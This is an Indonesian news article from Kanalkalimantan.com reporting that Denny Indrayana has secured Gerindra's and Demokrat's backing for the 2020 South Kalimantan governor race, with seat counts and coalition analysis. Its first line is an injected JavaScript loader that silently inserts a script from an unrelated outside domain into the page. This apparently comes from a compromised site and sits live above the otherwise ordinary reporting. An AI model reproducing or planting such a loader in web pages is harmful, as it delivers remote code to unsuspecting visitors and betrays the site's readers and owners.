(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Denny Indrayana memastikan satu ‘tiket’ ke Pilgub Kalsel 2020. Hal ini setelah surat rekomendasi DPP Partai Gerindra ada digenggamannya. Bukti sah dukungan tersebut melengkapi surat serupa yang sebelumnya diberikan DPP Partai Demokrat. Tarung head to head melawan incumbent Sahbirin Noor yang berduet dengan H Muhidin.
Informasi yang didapat Kanalkalimantan.com, surat rekomendasi yang ditandatangani Ketua Umum Gerindra Prabowo Subianto dan Sekjen Ahmad Muzani tersebut, diserahkan oleh Waketum Sufmi Dasco Ahmad kepada Denny Indrayana.
Namun dikonfirmasi soal informasi tersebut, Haji Denny mengatakan akan terlebih dulu melaporkan ke Ketua DPD Gerindra Kalsel H Abidin. “ Saya belum bisa memberitahukan rinci. Nanti setelah menyampaikan kepada Pak Haji (Abidin) baru kita release,” katanya dihubungi Kanalkalimantan.com.
Tentunya, turunnya rekomendasi Gerindra ini sebagai tindaklanjut pertemuan Haji denny dengan Prabowo pada Senin (29/6/2020) malam. Pada pertemuan tersebut, Prabowo menegaskan akan membantu di barisan penantang kubu petahana di Pilgub Kalsel. “Kita dukung Denny. Beliau bantu kita di Pilpres, jadi sekarang wajar kita bantu Beliau di Pilgub Kalsel,” kata Prabowo dikutip Denny dalam pertemuan tersebut.
Dengan dukungan Prabowo dan Gerindra tersebut, Denny sudah tinggal memastikan pendaftaran ke KPU sebagai calon gubernur. Sebab sebelumnya Haji Denny telah mendapatkan dukungan penuh dari Partai Demokrat. Minggu lalu Ketum Demokrat AHY mengatakan, Demokrat mendukung penuh di Pilgub Kalsel.
Dukungan penuh Ketum AHY tersebut, makin ditegaskan dengan pertemuan Haji Denny dengan Presiden Ke-6, Susilo Bambang Yudhoyono, sehari sebelum bertemu Prabowo, tepatnya Minggu (28/6/2020) sore di kediaman. Dalam pertemuan itu SBY menyampaikan dukungan dan doa keberhasilan buat Haji Denny. “Selamat berjuang di Kalsel, Insya Allah menang,” katanya.
Gabungan 8 kursi Gerindra dan 3 kursi Demokrat sudah pas untuk menjadikan Haji Denny sebagai Cagub Pilgub Kalsel 2020. Dengan total 55 kursi DPRD Provinsi Kalsel, maka 11 kursi Gerindra-Demokrat sudah memenuhi syarat minimal 20% kursi pencalonan.
Namun, Denny rupanya tidak hanya memastikan 11 kursi DPRD Provinsi. Sedang berada di Jakarta, Denny terus berkeliling dan memastikan mendapatkan dukungan partai lainnya. Ketika ditanya, ia tidak mau mengungkapkan partai mana saja yang ditemuinya. “Saya terus membangun komunikasi dengan partai lain untuk berkoalisi. Insya Allah dalam waktu dekat partai koalisi kami akan mendeklarasikan dukungannya,” katanya.
Namun demikian, dari sejumlah parpol yang sebelumnya diklaim sebagai pendukung incumbent, menyisakan PKB dengan 5 kursi, PPP 3 kursi dan Hanura 1 kursi. Untuk PKB dan PPP, kabarnya sudah menjadi incaran koalisi besar Sahbirin-Muhidin. Tapi, bukan berarti peluang tak ada. Sebab kenyataannya, sebelum Demokrat pun diklaim sebagai parpol yang didekati incumbent. Padahal nyatanya, Demokrat jauh hari sebelumnya sudah menyerahkan ‘surat tugas’ kepada Denny untuk mencari mitra koalisi sebagai wujud dukungan!
Di atas kertas, tentu saja jumlah partai pengusung Haji Denny kalah melawan koalisi incumbent. Dimana parpol yang direkrut saat ini cuma dua, yakni Demokrat dan Gerindra yang memiliki total 11 kursi di parlemen. Sedangkan incumbent, memiliki 5 partai pengusung. Terdiri dari Partai Golkar dengan 12 kursi, PDIP dengan 8 kursi, PAN 6 kursi, PKS 5 Kursi, dan Nasdem 4 kursi. Total jumlah kursi pengusung berjumlah 35 kursi. Tapi, besaran jumlah parpol ukuran kemenangan!
Strategi politik menjadi kunci dalam pemenangan Pilgub 2020 nanti. Sebab di tengah Covid-19 ini, suasana Pilkada akan berbeda dengan sebelumnya. Inilah yang menjadi tantanga kedua pihak, baik incumbent maupun penantang.
Gerindra dan Demokrat, memiliki pengalaman panjang berjuang pada situasi sulit. Itu terbukti dalam Pilpres lalu. Meskipun duet kedua parpol tersebut tak terlalu ‘mesra’ tetapi tetap berada di satu kubu ketika itu mendukung pencalonan Prabowo-Sandi. Teknik gerilya, dengan bertumpu pada semangat relawan menjadi penentu kemenangan mereka di Kalsel semasa Pilpres lalu. Walaupun, di level nasional mereka kalah.
Soliditas tim relawan inilah yang saat ini terus dipupuk Haji Denny yang mengambil slogan politik “Hijrah gasan (untuk) Banua”. Dimana dalam berbagai kesempatan, ia mengatakan perlunya Kalsel untuk kembali pada peta yang benar dalam pembangunan SDM, ekonomi, hukum, dan pemerintahan. (Kanalkalimantan.com/cell)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.